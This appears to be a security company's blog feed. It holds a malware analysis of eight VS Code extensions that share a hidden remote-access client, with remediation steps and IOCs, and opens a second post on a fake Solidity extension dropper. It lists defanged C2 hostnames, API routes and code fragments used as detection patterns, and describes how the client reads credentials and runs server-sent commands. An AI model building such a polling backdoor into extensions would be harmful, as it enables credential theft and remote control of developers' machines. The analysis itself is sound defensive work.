  <li><strong>Characteristic log strings across the set.</strong> <code class="language-plaintext highlighter-rouge">Establishing background synchronization...</code>, <code class="language-plaintext highlighter-rouge">Connecting client to</code>, <code class="language-plaintext highlighter-rouge">Processing action</code>, <code class="language-plaintext highlighter-rouge">Directly executing action ... without approval prompt</code>, and the per-product prefixes <code class="language-plaintext highlighter-rouge">[DawnTask Sync]</code>, <code class="language-plaintext highlighter-rouge">[StarkTask Sync]</code>, <code class="language-plaintext highlighter-rouge">[GreenBeans Sync]</code>, and <code class="language-plaintext highlighter-rouge">[Parsley Exec]</code>.</li>
</ul>

<h3 id="shared-infrastructure-and-timeline">Shared infrastructure and timeline</h3>

<p>Both domains are registered through Dynadot and use the same nameservers (<code class="language-plaintext highlighter-rouge">ns1.dyna-ns.net</code>, <code class="language-plaintext highlighter-rouge">ns2.dyna-ns.net</code>). Both are CNAMEs to subdomains under the same ngrok target, <code class="language-plaintext highlighter-rouge">3ka4t3whps9jrnjvw.ngrok-cname[.]com</code>. A third hostname, <code class="language-plaintext highlighter-rouge">super.superkawaii[.]click</code>, uses the same target.</p>

<table>
  <thead>
    <tr>
      <th>Time (UTC)</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-10-14 22:35</td>
      <td>Certificate for <code class="language-plaintext highlighter-rouge">*.superkawaii[.]click</code></td>
    </tr>
    <tr>
      <td>2026-10-14 23:10</td>
      <td><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> registered</td>
    </tr>
    <tr>
      <td>2026-10-24 21:57</td>
      <td>OpenTask 1.0.0 published</td>
    </tr>
    <tr>
      <td>2026-10-24 22:05</td>
      <td>LuaSlope 1.0.2 observed on the registry</td>
    </tr>
    <tr>
      <td>2026-10-25 00:53</td>
      <td>GiantManage 1.0.0 published</td>
    </tr>
    <tr>
      <td>2026-10-25 01:19</td>
      <td>Certificate for <code class="language-plaintext highlighter-rouge">super.superkawaii[.]click</code></td>
    </tr>
    <tr>
      <td>2026-10-25 01:20</td>
      <td>Certificate for <code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
    </tr>
    <tr>
      <td>2026-10-25 02:03</td>
      <td>DawnTask listing published</td>
    </tr>
    <tr>
      <td>2026-10-25 02:12</td>
      <td><code class="language-plaintext highlighter-rouge">rawrito[.]click</code> registered</td>
    </tr>
    <tr>
      <td>2026-10-25 02:31</td>
      <td>DawnTask 1.0.1 RAT build</td>
    </tr>
    <tr>
      <td>2026-10-25 02:41</td>
      <td>MarkersBoard listing published</td>
    </tr>
    <tr>
      <td>2026-10-25 02:43</td>
      <td>StarkTask listing published</td>
    </tr>
    <tr>
      <td>2026-10-25 02:52</td>
      <td>StarkTask 1.0.1 RAT build</td>
    </tr>
    <tr>
      <td>2026-10-25 03:33</td>
      <td>MarkersBoard 2.2.4 update</td>
    </tr>
    <tr>
      <td>2026-10-25 04:26</td>
      <td>Parsley 2.0.1 observed on <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code></td>
    </tr>
    <tr>
      <td>2026-10-25 05:48</td>
      <td>GreenBeans listing published</td>
    </tr>
    <tr>
      <td>2026-10-25 06:24</td>
      <td>GreenBeans 2.0.0 RAT build</td>
    </tr>
    <tr>
      <td>2026-10-25 06:55</td>
      <td>Parsley 3.0.1 observed with no network code</td>
    </tr>
    <tr>
      <td>2026-10-25 07:05</td>
      <td>Parsley 3.0.2 observed with execution disabled</td>
    </tr>
    <tr>
      <td>2026-10-25 07:15</td>
      <td>Parsley 4.0.0 published with execution restored</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">rawrito[.]click</code> was registered 29 minutes before the MarkersBoard listing. <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> was registered ten days before the LuaSlope 1.0.2 build appeared. The certificate for <code class="language-plaintext highlighter-rouge">super.superkawaii[.]click</code> and the certificate for <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> were issued one minute apart on October 25.</p>

<p>The ngrok target and its AWS addresses are shared infrastructure, not attacker-owned hosts. The specific tunnel hostnames are the malicious part. Do not block the parent <code class="language-plaintext highlighter-rouge">ngrok-cname.com</code> domain.</p>

<h3 id="shared-development-artifacts">Shared development artifacts</h3>

<ul>
  <li><strong>Byte-identical icon.</strong> <code class="language-plaintext highlighter-rouge">GiantManage.giantmanage</code> 1.0.0 and <code class="language-plaintext highlighter-rouge">flowstate.luaslope</code> 1.0.2 ship the same <code class="language-plaintext highlighter-rouge">media/icon.png</code>: SHA-256 <code class="language-plaintext highlighter-rouge">17a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353</code>. The file is 121,378 bytes in both packages.</li>
  <li><strong>Dead repository links.</strong> Each <code class="language-plaintext highlighter-rouge">package.json</code> claims a GitHub repository at <code class="language-plaintext highlighter-rouge">github[.]com/&lt;publisher&gt;/&lt;name&gt;</code>. All eight returned 404 on October 25: <code class="language-plaintext highlighter-rouge">opentask/opentask</code>, <code class="language-plaintext highlighter-rouge">markers/markersboard</code>, <code class="language-plaintext highlighter-rouge">giantmanage/giantmanage</code>, <code class="language-plaintext highlighter-rouge">flowstate/luaslope</code>, <code class="language-plaintext highlighter-rouge">DawnTask/dawntask</code>, <code class="language-plaintext highlighter-rouge">starktask/starktask</code>, <code class="language-plaintext highlighter-rouge">greenbeans/greenbeans</code>, and <code class="language-plaintext highlighter-rouge">parsley/parsley</code>.</li>
  <li><strong>C2 as homepage.</strong> Seven of the eight set the <code class="language-plaintext highlighter-rouge">homepage</code> field in <code class="language-plaintext highlighter-rouge">package.json</code> to the same domain the sync engine uses: LuaSlope, GiantManage, MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley. OpenTask points to a 404 GitHub repository instead.</li>
  <li><strong>Similar package skeleton.</strong> OpenTask, MarkersBoard, and GiantManage use a small <code class="language-plaintext highlighter-rouge">extension.js</code> entry point, a <code class="language-plaintext highlighter-rouge">commands.js</code> file for the visible product, and a <code class="language-plaintext highlighter-rouge">sync.js</code> engine. DawnTask, StarkTask, GreenBeans, and Parsley add <code class="language-plaintext highlighter-rouge">kanban.js</code> and a sidebar webview. LuaSlope folds the engine into <code class="language-plaintext highlighter-rouge">src/extension.js</code>.</li>
</ul>

<p>The evidence supports a shared toolkit. It does not prove that one person controls every publisher account. The available data shows the same engine, the same protocol, and the same build artifacts reused across eight listings.</p>

<h2 id="the-kanban-cluster">The Kanban cluster</h2>

<p>The second wave is four Kanban boards with the same template. All four were published or updated between 02:03 and 07:15 UTC on October 25.</p>

<table>
  <thead>
    <tr>
      <th>Package</th>
      <th>Listing</th>
      <th>RAT build</th>
      <th>Placeholder</th>
      <th>Actions</th>
      <th>Marketplace reach</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">DawnTask.dawntask</code></td>
      <td>02:03</td>
      <td>1.0.1 at 02:31</td>
      <td>1.0.0 status command</td>
      <td>code, shell, VS Code command, notification</td>
      <td>12 installs / 24 downloads</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">starktask.starktask</code></td>
      <td>02:43</td>
      <td>1.0.1 at 02:52</td>
      <td>1.0.0 status command</td>
      <td>code only</td>
      <td>23 downloads</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">greenbeans.greenbeans</code></td>
      <td>05:48</td>
      <td>2.0.0 at 06:24</td>
      <td>1.0.0 status command</td>
      <td>code only</td>
      <td>3 installs / 10 downloads</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">parsley.parsley</code></td>
      <td>Oct 17 04:27</td>
      <td>4.0.0 at 07:15</td>
      <td>0.0.1 status command</td>
      <td>code, shell, VS Code command, notification</td>
      <td>1,380 installs / 94 downloads</td>
    </tr>
  </tbody>
</table>

<p>The four second-wave packages use the same layout: <code class="language-plaintext highlighter-rouge">extension.js</code>, <code class="language-plaintext highlighter-rouge">commands.js</code>, <code class="language-plaintext highlighter-rouge">kanban.js</code>, and <code class="language-plaintext highlighter-rouge">sync.js</code>. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter. The package descriptions use the same sentence: “Visual Kanban task orchestration, sprint management, and automated workflow tracking for Visual Studio Code.”</p>

<p>DawnTask’s <code class="language-plaintext highlighter-rouge">sync.js</code> is 75% similar to OpenTask’s by line-level comparison. StarkTask and GreenBeans are smaller variants that accept only <code class="language-plaintext highlighter-rouge">run_code</code>. Parsley 4.0.0 has the largest <code class="language-plaintext highlighter-rouge">sync.js</code>, with a <code class="language-plaintext highlighter-rouge">kit</code> object, heartbeat, and the full action router.</p>

<p>Parsley is the outlier by reach. Its listing reported 1,380 installs against 94 downloads. The two counters do not agree, so treat the install figure with caution. The listing still reaches a larger audience than the other seven.</p>

<p>All four second-wave packages use <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> and set it as the package homepage. The domain is also the endpoint for MarkersBoard, which makes the second wave and MarkersBoard one infrastructure cluster.</p>

<h2 id="what-the-client-can-do">What the client can do</h2>

<p>There is no fixed payload in any of the eight packages. That is the design. The package contains the client; the server contains the payload.</p>

<p>No payload or command list was recovered from the published packages. The eight packages contain the client, not the actions. LuaSlope also ships a local admin server and dashboard, but its command field contains only placeholder examples (<code class="language-plaintext highlighter-rouge">node -v</code>, <code class="language-plaintext highlighter-rouge">dir</code>, <code class="language-plaintext highlighter-rouge">git status</code>, <code class="language-plaintext highlighter-rouge">powershell Get-Date</code>), and the action queue starts empty. The commands the server actually issued remain unknown.</p>

<p>The protocol gives the server enough primitives to:</p>

<ul>
  <li>Read any file the editor can read, including source code, <code class="language-plaintext highlighter-rouge">.env</code> files, SSH keys, cloud credential files, and shell history.</li>
  <li>Write files and modify the workspace, including build scripts and configuration.</li>
  <li>Run shell commands as the developer, with the workspace as the working directory.</li>
  <li>Read the open editor state through the VS Code API.</li>
  <li>Execute any VS Code command, including commands that install or modify other extensions.</li>
  <li>Show a message inside the editor with remote-controlled text and buttons.</li>
  <li>Return command output and code results to the server.</li>
</ul>

<p>The registration step already sends the workspace name and absolute path. The result endpoint accepts up to 50,000 characters per action. A server can issue repeated actions to move larger files or run longer commands.</p>

<p>At the time of analysis, <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> answered <code class="language-plaintext highlighter-rouge">GET /api/client/poll</code> with HTTP 401 and <code class="language-plaintext highlighter-rouge">{"error":"Client session missing or expired."}</code>. Several proxied test registrations returned a client ID and a 64-character token. Poll loops ran for up to six minutes, including registrations with production-looking workspace names, and returned <code class="language-plaintext highlighter-rouge">enabled: true</code> with no action. <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> returned the ngrok offline page (<code class="language-plaintext highlighter-rouge">ERR_NGROK_3200</code>). The 401 response confirms that the rawrito API was live and enforcing client sessions. The registration confirms that it accepts new clients. The empty poll shows that it did not deliver a payload to a new session during the observation window. No response contained a command.</p>

<p>The absence of an action does not make the registration harmless. The client still sends the workspace name and absolute path on first contact. A server can collect that data without ever issuing a command.</p>

<p>The endpoints are configured in the packages. The LuaSlope listing did not resolve, and the other seven listings were still available when checked on October 25. A defender should treat any machine that ran these extensions as having executed unknown code.</p>

<h2 id="outlook">Outlook</h2>

<p>The campaign shows a repeatable publishing pattern, and the pattern will continue.</p>

<ul>
  <li><strong>Placeholder-first publishing will increase.</strong> Six of the eight packages shipped a placeholder build before the RAT build. A cheap shell build ages the ID and gives the listing a clean first review. The weaponized build arrives as an update.</li>
  <li><strong>The engine will be reused across product categories.</strong> Five Kanban boards, a task manager, a project dashboard, and a Roblox bridge all shipped the same client in one night. The same engine fits any product with a backend.</li>
  <li><strong>Endpoints will rotate.</strong> <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> and <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> are disposable, and Parsley already moved from one to the other. The durable signal is the route set, the registration payload, and the execution primitive, not the domain.</li>
  <li><strong>The remote switch will stay.</strong> A server-side action model lets the threat actor test a listing, change behavior, and stop serving code without republishing the extension.</li>
  <li><strong>AI and MCP tooling is the next cover.</strong> LuaSlope shows how much legitimate runtime code a modern extension can carry. A large package with a real bridge, a real plugin, and a real MCP provider gives the hidden client more room to hide.</li>
</ul>

<p>Defenders should watch for the update, not just the first publish. The version that passes review is often not the version that runs the campaign.</p>

<h2 id="remediation">Remediation</h2>

<p>If these extensions were installed in an editor, remove them and treat the machine as compromised.</p>

<ol>
  <li><strong>Remove the extensions.</strong> Uninstall <code class="language-plaintext highlighter-rouge">flowstate.luaslope</code>, <code class="language-plaintext highlighter-rouge">opentask.opentask</code>, <code class="language-plaintext highlighter-rouge">Markers.markersboard</code>, <code class="language-plaintext highlighter-rouge">GiantManage.giantmanage</code>, <code class="language-plaintext highlighter-rouge">DawnTask.dawntask</code>, <code class="language-plaintext highlighter-rouge">starktask.starktask</code>, <code class="language-plaintext highlighter-rouge">greenbeans.greenbeans</code>, and <code class="language-plaintext highlighter-rouge">parsley.parsley</code>.</li>
  <li><strong>Rotate credentials.</strong> Assume any secret readable by the editor was exposed: GitHub and npm tokens, cloud access keys, SSH keys, <code class="language-plaintext highlighter-rouge">.env</code> files, and package registry tokens. Rotate them from a different machine.</li>
  <li><strong>Review the workspace and shell history.</strong> Check for new files, modified build scripts, and commands that were not run by the developer.</li>
  <li><strong>Block the endpoints at egress.</strong> Use the exact hostnames <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> and <code class="language-plaintext highlighter-rouge">rawrito[.]click</code>. Do not block the <code class="language-plaintext highlighter-rouge">.click</code> top-level domain.</li>
  <li><strong>Check for the client on disk.</strong> Look for <code class="language-plaintext highlighter-rouge">sync.js</code> inside the extension directories and for the <code class="language-plaintext highlighter-rouge">*_session*</code> keys in VS Code SecretStorage.</li>
  <li><strong>Report the listing.</strong> Use the Marketplace “Report a concern” action. Removal from the listing does not remove an installed copy.</li>
</ol>

<p>The general principle is simple: a background sync feature is a remote execution channel when the client can execute what it receives. The review question is not “does this extension make network requests?” It is “what can the other end make this extension do?”</p>

<h2 id="iocs">IOCs</h2>

<h3 id="package-hashes">Package hashes</h3>

<table>
  <thead>
    <tr>
      <th>Package</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">flowstate.luaslope-1.0.2.vsix</code> <a href="https://pkgscan.dev/pkg/vscode-extension/flowstate/luaslope@1.0.2">Pkgscan Result</a></td>
      <td><code class="language-plaintext highlighter-rouge">8af9bf0e37b61763ba437007b425f3cf1d8c0273e91c5532c7cb29fe785f2f37</code> <a href="https://pkgscan.dev/file/8af9bf0e37b61763ba437007b425f3cf1d8c0273e91c5532c7cb29fe785f2f37">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">opentask.opentask-1.0.0.vsix</code> <a href="https://pkgscan.dev/pkg/vscode-extension/opentask/opentask@1.0.0">Pkgscan Result</a></td>
      <td><code class="language-plaintext highlighter-rouge">b7345ddd0bdb7490f2ed50229d97d4ab7cc78fb7ab9e9faf6f6c743aafec3e00</code> <a href="https://pkgscan.dev/file/b7345ddd0bdb7490f2ed50229d97d4ab7cc78fb7ab9e9faf6f6c743aafec3e00">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Markers.markersboard-2.2.4.vsix</code> <a href="https://pkgscan.dev/pkg/vscode-extension/Markers/markersboard@2.2.4">Pkgscan Result</a></td>
      <td><code class="language-plaintext highlighter-rouge">22d7197c305aef735d01e34779af40454bf6804e83039c812b5c27c7ec017ff0</code> <a href="https://pkgscan.dev/file/22d7197c305aef735d01e34779af40454bf6804e83039c812b5c27c7ec017ff0">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GiantManage.giantmanage-1.0.0.vsix</code> <a href="https://pkgscan.dev/pkg/vscode-extension/GiantManage/giantmanage@1.0.0">Pkgscan Result</a></td>
      <td><code class="language-plaintext highlighter-rouge">a087c1c13d322be354c0b8dd85ad29f293b93a14f9a07cad4bc2e10a032fc3f2</code> <a href="https://pkgscan.dev/file/a087c1c13d322be354c0b8dd85ad29f293b93a14f9a07cad4bc2e10a032fc3f2">Pkgscan Result</a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">DawnTask.dawntask-1.0.1.vsix</code></td>
      <td><code class="language-plaintext highlighter-rouge">4146488d3f89edd70e9d69ca77e400d8cc43521251e6598d17c123b867ad09a1</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">starktask.starktask-1.0.1.vsix</code></td>
      <td><code class="language-plaintext highlighter-rouge">bae2e82ec138f7e8d9bd0db35b715967f5acad5284ebb905fd2811aaf5f9d0d2</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">greenbeans.greenbeans-2.0.0.vsix</code></td>
      <td><code class="language-plaintext highlighter-rouge">6b67ff0cc465b7e9e2de6d1f7a8775c77eb1aa2b96f753a0882e6c18943022f1</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">parsley.parsley-4.0.0.vsix</code></td>
      <td><code class="language-plaintext highlighter-rouge">b35471954e9ed7702298adf36ac95583d996a82d5a7be665936a24f0b67d5485</code></td>
    </tr>
  </tbody>
</table>

<h3 id="engine-file-hashes">Engine file hashes</h3>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>LuaSlope <code class="language-plaintext highlighter-rouge">extension/src/extension.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">24f98599f3b47807b0e0bb3472bf77c56cb9c6b7426a0ead767cbb3faf7f4c5e</code></td>
    </tr>
    <tr>
      <td>OpenTask <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">3e2c8b0a48974426542ba7975b5f0eec0d6e916d07b1fd37e8588a8da72271cd</code></td>
    </tr>
    <tr>
      <td>MarkersBoard <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">5b58e171fd3aa6549993c52745cde1474ef62f9c8e7e1503f17e317447a9b018</code></td>
    </tr>
    <tr>
      <td>GiantManage <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">fe0b71ce163ed3da802159098484f98c715856f589b5ecf2603231b4de56ef2a</code></td>
    </tr>
    <tr>
      <td>DawnTask <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">b69a3a07e8da364cda3cc1fef73ca9e8cc210359b3274fb0df356619305be0c7</code></td>
    </tr>
    <tr>
      <td>StarkTask <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">8f57fbe4a6b303bef71e07f398e3a413b2548271c2ba98c07bf605761d0e16e0</code></td>
    </tr>
    <tr>
      <td>GreenBeans <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">be85cd9bec5ff407524cf7ac6413d0fe023e9fac4e2745574155b6125ffe4b95</code></td>
    </tr>
    <tr>
      <td>Parsley 4.0.0 <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">41a8c753b7a360ef886a8cff79ae97bcec6d3a039754f97de684fb59717b213c</code></td>
    </tr>
  </tbody>
</table>

<h3 id="version-history-hashes">Version-history hashes</h3>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Parsley 2.0.1 <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">8a69393d1af0e9ebf67954b9a45e53cf1fe61c43cafa20fa93a46cde0654a784</code></td>
    </tr>
    <tr>
      <td>Parsley 3.0.2 <code class="language-plaintext highlighter-rouge">extension/sync.js</code></td>
      <td><code class="language-plaintext highlighter-rouge">81b71277f9ccd917ec825a119b497d7ecee2a1393bd0fb83228b18538d998830</code></td>
    </tr>
  </tbody>
</table>

<p>The 3.0.2 build is the no-execution variant. The 4.0.0 build is the RAT variant.</p>

<h3 id="network-indicators">Network indicators</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code></li>
  <li><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></li>
  <li><code class="language-plaintext highlighter-rouge">super.superkawaii[.]click</code></li>
  <li>Shared ngrok CNAME target: <code class="language-plaintext highlighter-rouge">3ka4t3whps9jrnjvw.ngrok-cname[.]com</code> (pivot only; do not block the parent <code class="language-plaintext highlighter-rouge">ngrok-cname.com</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/register</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/poll</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/approve</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/result</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/heartbeat</code></li>
  <li><code class="language-plaintext highlighter-rouge">/api/client/ping</code></li>
</ul>

<h3 id="registration-indicators">Registration indicators</h3>

<ul>
  <li>Registrar: Dynadot, LLC</li>
  <li>Nameservers: <code class="language-plaintext highlighter-rouge">ns1.dyna-ns.net</code>, <code class="language-plaintext highlighter-rouge">ns2.dyna-ns.net</code></li>
  <li><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> created 2026-10-14 23:10 UTC</li>
  <li><code class="language-plaintext highlighter-rouge">rawrito[.]click</code> created 2026-10-25 02:12 UTC</li>
</ul>

<p>Dynadot is a legitimate registrar. The indicator is the specific domain set and registration pattern, not the registrar itself.</p>

<h3 id="behavioral-indicators">Behavioral indicators</h3>

<ul>
  <li>Registration label format <code class="language-plaintext highlighter-rouge">&lt;Product&gt; · &lt;workspace name&gt;</code> with <code class="language-plaintext highlighter-rouge">location</code> set to the absolute workspace path.</li>
  <li>Poll interval of 5,000 ms with a 10,000 ms request timeout.</li>
  <li>SecretStorage keys <code class="language-plaintext highlighter-rouge">opentask_session</code>, <code class="language-plaintext highlighter-rouge">markersboard_session</code>, <code class="language-plaintext highlighter-rouge">giantmanage_session</code>, <code class="language-plaintext highlighter-rouge">dawntask_session</code>, <code class="language-plaintext highlighter-rouge">starktask_session</code>, <code class="language-plaintext highlighter-rouge">greenbeans_session</code>, <code class="language-plaintext highlighter-rouge">parsley_client_session_v4</code>, <code class="language-plaintext highlighter-rouge">parsley_client_session</code>, <code class="language-plaintext highlighter-rouge">parsley_session</code>, <code class="language-plaintext highlighter-rouge">actionClientSession</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">new Function('vscode', 'context', 'output', 'require', 'console', ...)</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">child_process.exec(commandStr, { cwd, timeout, maxBuffer: 1024 * 1024 })</code>.</li>
  <li>Log strings <code class="language-plaintext highlighter-rouge">Establishing background synchronization...</code>, <code class="language-plaintext highlighter-rouge">Connecting client to</code>, <code class="language-plaintext highlighter-rouge">Directly executing action</code>, <code class="language-plaintext highlighter-rouge">Only custom code execution is enabled.</code>, and the per-product prefixes <code class="language-plaintext highlighter-rouge">[DawnTask Sync]</code>, <code class="language-plaintext highlighter-rouge">[StarkTask Sync]</code>, <code class="language-plaintext highlighter-rouge">[GreenBeans Sync]</code>, and <code class="language-plaintext highlighter-rouge">[Parsley Exec]</code>.</li>
  <li>Shared icon SHA-256 <code class="language-plaintext highlighter-rouge">17a2e5f3f70bf5d27bb3af40f430b0d8a12eb0d43ff5404326d781261d56353</code>.</li>
  <li>No-execution build string: <code class="language-plaintext highlighter-rouge">EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined.</code></li>
  <li>Claimed repositories at <code class="language-plaintext highlighter-rouge">github[.]com/opentask/opentask</code>, <code class="language-plaintext highlighter-rouge">github[.]com/markers/markersboard</code>, <code class="language-plaintext highlighter-rouge">github[.]com/giantmanage/giantmanage</code>, <code class="language-plaintext highlighter-rouge">github[.]com/flowstate/luaslope</code>, <code class="language-plaintext highlighter-rouge">github[.]com/DawnTask/dawntask</code>, <code class="language-plaintext highlighter-rouge">github[.]com/starktask/starktask</code>, <code class="language-plaintext highlighter-rouge">github[.]com/greenbeans/greenbeans</code>, and <code class="language-plaintext highlighter-rouge">github[.]com/parsley/parsley</code> return 404.</li>
</ul>

<h3 id="note-on-payload-hashes">Note on payload hashes</h3>

<p>There is no payload hash to publish. The eight packages contain a client, not a payload. The server supplies the code at runtime, and the code can change for each client. Detection should focus on the client behavior and the protocol, not on a fixed binary.</p>]]></content><author><name></name></author><category term="Malware Analysis" /><category term="vsix" /><category term="vscode" /><category term="marketplace" /><category term="rat" /><category term="backdoor" /><category term="c2" /><category term="supply-chain" /><category term="task-board" /><summary type="html"><![CDATA[Eight Visual Studio Code extensions promised task boards, project dashboards, and a Roblox bridge. Each shipped the same hidden client: a five-second poll to a server that can run code and shell commands on the developer's machine.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/shared-rat-engine-vs-code-task-boards.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/shared-rat-engine-vs-code-task-boards.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SleepyDuck Registry-Hops: The Fake Solidity Extension Hits the VS Code Marketplace</title><link href="https://yeethsecurity.com/blog/2026-10-22-Juanbanco-Web3tools-Marketplace-Dropper" rel="alternate" type="text/html" title="SleepyDuck Registry-Hops: The Fake Solidity Extension Hits the VS Code Marketplace" /><published>2026-10-22T00:00:00+00:00</published><updated>2026-10-22T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Juanbanco-Web3tools-Marketplace-Dropper</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-22-Juanbanco-Web3tools-Marketplace-Dropper"><![CDATA[<p><em>Update (October 24, 2026): A second weaponized build, <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code> version <code class="language-plaintext highlighter-rouge">0.0.195</code>, was pushed later the same day under a new extension ID with the dropper obfuscated. The payload was byte-identical. Both listings and the <code class="language-plaintext highlighter-rouge">juanbanco</code> publisher account have since been removed from the VS Code Marketplace. See “<a href="#a-second-push-under-a-new-id">A second push, under a new ID</a>”. A third push followed that evening as <code class="language-plaintext highlighter-rouge">jaunblanco.ethtools</code>, with the same payload shipped from a build pipeline that leaves a clean twin on the listing. See “<a href="#a-third-push-and-a-clean-twin">A third push, and a clean twin</a>”. A fourth push, <code class="language-plaintext highlighter-rouge">jaunblanco.ethertools</code> version <code class="language-plaintext highlighter-rouge">0.0.193</code>, moved the payload out of the package: the listed build installs a second extension, which downloads the video at runtime. See “<a href="#a-fourth-push-the-payload-leaves-the-package">A fourth push: the payload leaves the package</a>”.</em></p>

<p><em>Update (October 27, 2026): An eighth listing, <code class="language-plaintext highlighter-rouge">juunblanco.vscode-soliditiy</code> version <code class="language-plaintext highlighter-rouge">0.0.195</code>, appeared on October 26 with the carrier back inside the nested package and an inflated install count: 224,611 installs against 26 downloads, seventy minutes after publication. See “<a href="#an-eighth-listing-224000-installs-in-an-hour">An eighth listing: 224,000 installs in an hour</a>”.</em></p>

<p>Pull up the listing and it clears review. The name reads <code class="language-plaintext highlighter-rouge">solidity</code>. The description matches the canonical extension word for word, the README is the canonical README with its install badges intact, and the version history holds a single 2.4 KB build that registers a hello-world command. There is nothing on that page to flag.</p>

<p>Then the listing changed its mind. Version <code class="language-plaintext highlighter-rouge">0.0.191</code>, live for at most seventeen minutes before it was pulled, was 29.7 MB, and most of it was a video named <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> — the same steganographic carrier <a href="https://yeethsecurity.com/blog/2026-09-24-Alejandroaranda-Duck-Song-Dropper">Yeeth Security documented on Open VSX</a> a month ago, holding a compiled four-platform Go implant and a genuine ConnectWise ScreenConnect installer. The publisher account was registered the same day the package went up. The listing showed one install.</p>

<p>This is the fourth appearance of that operation in twelve months, and its first on Microsoft’s marketplace. Two more pushes followed, and the last one shows where the operation is going. The implant has not changed a single byte since April. What changes is the wrapper around it, and this wrapper now includes a technique aimed straight at the review process: stay clean whenever anyone looks. The display name is part of the same trick. It is <code class="language-plaintext highlighter-rouge">solidity</code> followed by ten zero-width space characters — invisible on the page, invisible in search, and distinct from every other extension with that name to anything comparing bytes.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><strong>The operation moved to the VS Code Marketplace.</strong> Publisher <code class="language-plaintext highlighter-rouge">juanbanco</code> (display name “Banker”) was created on October 23, 2026 and published <code class="language-plaintext highlighter-rouge">web3tools</code> the same day — displayed as <code class="language-plaintext highlighter-rouge">solidity</code> with ten U+200B zero-width characters appended. Previous waves of this family hit Open VSX in <a href="https://yeethsecurity.com/blog/2025-11-10-SleepyDuck-Evolution">November 2025</a>, April 2026, and September 2026.</li>
  <li><strong>A version shuffle kept the listing clean.</strong> A 2.4 KB hello-world build (<code class="language-plaintext highlighter-rouge">0.0.2</code>) went up first, then a 29.7 MB weaponized build (<code class="language-plaintext highlighter-rouge">0.0.191</code>) served briefly, then the listing reverted to the clean build. The malicious build existed on the marketplace only in a short window.</li>
  <li><strong>The re-push came the same day, under a new ID.</strong> A second weaponized build (<code class="language-plaintext highlighter-rouge">0.0.195</code>) appeared as <code class="language-plaintext highlighter-rouge">juanbanco.web3-tools</code> — the original <code class="language-plaintext highlighter-rouge">web3tools</code> identifier with a hyphen inserted — with the dropper run through <code class="language-plaintext highlighter-rouge">javascript-obfuscator</code>. The payload was byte-identical. Both listings and the publisher account were later removed from the marketplace.</li>
